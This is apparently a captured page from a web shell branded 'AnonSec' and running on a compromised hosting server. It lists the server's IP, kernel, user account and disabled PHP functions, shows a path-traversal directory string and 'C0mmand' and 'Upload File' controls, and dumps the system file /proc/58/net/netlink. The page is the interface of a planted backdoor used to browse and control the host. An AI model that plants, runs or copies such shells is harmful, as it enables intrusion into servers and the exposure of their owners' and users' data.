Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../java/../../scl/../../../../proc/58/net/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../java/../../scl/../../../../proc/58/net/netlink
sk               Eth Pid        Groups   Rmem     Wmem     Dump  Locks    Drops    Inode
0000000000000000 0   2128194    00020ff8 0        0        0     2        0        104362118
0000000000000000 0   1469       000405d1 0        0        0     2        0        29713   
0000000000000000 0   0          00000000 0        0        0     2        0        9       
0000000000000000 4   0          00000000 0        0        0     2        0        16400   
0000000000000000 6   0          00000000 0        0        0     2        0        16401   
0000000000000000 7   0          00000000 0        0        0     2        0        2273    
0000000000000000 9   0          00000000 0        0        0     2        0        18      
0000000000000000 9   818        00000000 0        0        0     2        0        28321   
0000000000000000 9   1          00000000 0        0        0     2        0        46296030
0000000000000000 10  0          00000000 0        0        0     2        0        2086    
0000000000000000 11  0          00000000 0        0        0     2        0        2053    
0000000000000000 12  0          00000000 0        0        0     2        0        16775   
0000000000000000 15  2407152527 00000002 0        0        0     2        0        19665   
0000000000000000 15  1469       00000002 0        0        0     2        0        29710   
0000000000000000 15  3866537646 00000002 0        0        0     2        0        29727   
0000000000000000 15  2765453    00000002 0        0        0     2        0        46333109
0000000000000000 15  3299491421 00000001 0        0        0     2        0        18497   
0000000000000000 15  1          00000002 0        0        0     2        0        46296020
0000000000000000 15  940        00000002 0        0        0     2        0        19664   
0000000000000000 15  3146112193 00000002 0        0        0     2        0        19667   
0000000000000000 15  2614155119 00000002 0        0        0     2        0        19666   
0000000000000000 15  0          00000000 0        0        0     2        0        20      
0000000000000000 16  2855389623 00008000 0        0        0     2        0        29712   
0000000000000000 16  2764974    00000100 0        0        0     2        0        46325536
0000000000000000 16  1469       00000000 0        0        0     2        0        29711   
0000000000000000 16  0          00000000 0        0        0     2        0        10      
0000000000000000 18  0          00000000 0        0        0     2        0        2056    
0000000000000000 20  0          00000000 0        0        0     2        0        2814    
0000000000000000 21  0          00000000 0        0        0     2        0        16385   

AnonSec - 2021